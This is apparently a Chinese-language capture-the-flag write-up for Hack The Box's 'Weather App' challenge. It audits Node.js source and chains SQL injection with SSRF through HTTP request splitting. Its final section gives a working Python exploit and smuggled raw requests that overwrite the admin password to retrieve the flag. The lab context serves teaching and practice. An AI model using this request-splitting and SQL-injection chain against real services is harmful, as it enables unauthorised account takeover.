# 0x01 信息收集

下载他提供的文件,压缩包密码是 hackthebox

发现是一个 docker 文件

┌──(root💀kali)-[~/桌面/web_weather_app]
└─# ls -al
总用量 24
drwxr-xr-x 4 root root 4096  128  2021 .
drwxr-xr-x 3 root root 4096  429 21:31 ..
-rwxr-xr-x 1 root root  107  127  2021 build-docker.sh
drwxr-xr-x 6 root root 4096  128  2021 challenge
drwxr-xr-x 2 root root 4096  127  2021 config
-rw-r--r-- 1 root root  424  128  2021 Dockerfile

那么我们安装 docker

Debug

┌──(root💀kali)-[~/桌面/web_weather_app]
└─# ./build-docker.sh
Sending build context to Docker daemon   8.36MB
Step 1/9 : FROM node:8.12.0-alpine
---> df48b68da02a
Step 2/9 : RUN apk add --update --no-cache supervisor
---> Running in f1497f9d2076
fetch http://dl-cdn.alpinelinux.org/alpine/v3.8/main/x86_64/APKINDEX.tar.gz
fetch http://dl-cdn.alpinelinux.org/alpine/v3.8/community/x86_64/APKINDEX.tar.gz
WARNING: Ignoring http://dl-cdn.alpinelinux.org/alpine/v3.8/main/x86_64/APKINDEX.tar.gz: temporary error (try again later)                                
WARNING: Ignoring http://dl-cdn.alpinelinux.org/alpine/v3.8/community/x86_64/APKINDEX.tar.gz: temporary error (try again later)                           
ERROR: unsatisfiable constraints:                                            
supervisor (missing):                                                      
required by: world[supervisor]
The command '/bin/sh -c apk add --update --no-cache supervisor' returned a non-zero code: 1
Unable to find image 'weather_app:latest' locally
docker: Error response from daemon: pull access denied for weather_app, repository does not exist or may require 'docker login': denied: requested access to the resource is denied.
See 'docker run --help'.

可以看到报错了,这个错误的解决办法就是修改 Dockerfile 文件

在第二行添加这个: RUN echo -e [http://mirrors.ustc.edu.cn/alpine/v3.8/main/](http://mirrors.ustc.edu.cn/alpine/v3.8/main/) > /etc/apk/repositories


然后重启一下服务再运行就行了

运行

service restart docker
./build-docker.sh

不过运行起来意义也不大 ==、

那么开始代码审计

# 0x02 代码审计

通过 routes\index.js 可以看出逻辑

register

router.post('/register', (req, res) => {
  
  
  if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {	// 这里
    
    return res.status(401).end();
  }
  
  let {
    username, password } = req.body;
  
  if (username && password) {
    
    return db.register(username, password)
      .then(()  => res.send(response('Successfully registered')))
      .catch(() => res.send(response('Something went wrong')));
  }
  
  return res.send(response('Missing parameters'));
});

上面这个要求 remoteAddress127.0.0.1

login

router.post('/login', (req, res) => {
  
  let {
    username, password } = req.body;
  
  if (username && password) {
    
    return db.isAdmin(username, password) // 这里可以看出来
      .then(admin => {
      
      if (admin) return res.send(fs.readFileSync('/app/flag').toString());
      return res.send(response('You are not admin'));
    })
      .catch(() => res.send(response('Something went wrong')));
  }
  
  return re.send(response('Missing parameters'));
});

可以看出来登录 admin 就能得到 flag

再看看 database.js

async migrate() {
    
        return this.db.exec(`
            DROP TABLE IF EXISTS users;
            CREATE TABLE IF NOT EXISTS users (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                username   VARCHAR(255) NOT NULL UNIQUE,
                password   VARCHAR(255) NOT NULL
            );
            INSERT INTO users (username, password) VALUES ('admin', '${
       crypto.randomBytes(32).toString('hex') }');
        `);
    }

密码是 32 字节的,爆破到猴年马月

再看看

async register(user, pass) {
    
        // TODO: add parameterization and roll public
        return new Promise(async (resolve, reject) => {
    
            try {
    
                let query = `INSERT INTO users (username, password) VALUES ('${
      user}', '${
      pass}')`;
                resolve((await this.db.run(query)));
            } catch(e) {
    
                reject(e);
            }
        });
    }

注册的时候会插入用户名和密码,但这个地方不够严谨,就有漏洞了

这个时候我们传入 user : admin pass: 1234’) ON CONFLICT(username) DO UPDATE SET password = ‘admin’;–


那么语句就会变成了

Bug

INSERT INTO users (username, password) VALUES ('admin', '1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')

这样就修改了 admin 的密码了

那么我们就需要找一个接口进行提交了

api

router.post('/api/weather', (req, res) => {
	let { endpoint, city, country } = req.body;
	if (endpoint && city && country) {
		return WeatherHelper.getWeather(res, endpoint, city, country);
	}
	return res.send(response('Missing parameters'));
});

上面这个可以把获取到的信息输出到 HTML 里,那么数据是如何获取的呢?

const HttpHelper = require('../helpers/HttpHelper');
module.exports = {
    async getWeather(res, endpoint, city, country) {
        // *.openweathermap.org is out of scope
        let apiKey = '10a62430af617a949055a46fa6dec32f';
        let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); 
        
        ......
    }
}

这设置了访问的的参数,发现访问的地址是通过变量获得的,那么很有可能存在 SSRF

而使用的 HttpGet 只是一个很普通的 Get 函数而已,具体参数可以看下面的源码:

const http = require('http');
module.exports = {
	HttpGet(url) {
		return new Promise((resolve, reject) => {
			http.get(url, res => {
				let body = '';
				res.on('data', chunk => body += chunk);
				res.on('end', () => {
					try {
						resolve(JSON.parse(body));
					} catch(e) {
						resolve(false);
					}
				});
			}).on('error', reject);
		});
	}
}

# 0x03 构造攻击

# Payload:

Payload

GET / HTTP/1.1
Host: 127.0.0.1
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--
GET / HTTP/1.1
Host: 127.0.0.1

# EXP

需要将空格编码为 \u0120 、 \r 编码为 \u010d 、 \n 编码为 \u010A 、其余字符进行 url 编码

Exp

import requests
url = "http://157.245.32.36:31006"
username = 'admin'
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parseUsername) + len(parsePassword) + 19
endpoint =  '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHOST:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str(contentLength) + '\u010D\u010A\u010D\u010Ausername=' + parseUsername + '&password=' + parsePassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='
r = requests.post(url + '/api/weather', json={
    'endpoint': endpoint, 'city': 'chengdu', 'country': 'CN'})
print(r)

完成

┌──(root💀kali)-[~]
└─# python3 1.py
<Response [200]>

Flag: HTB{w3lc0m3_t0_th3_p1p3_dr34m}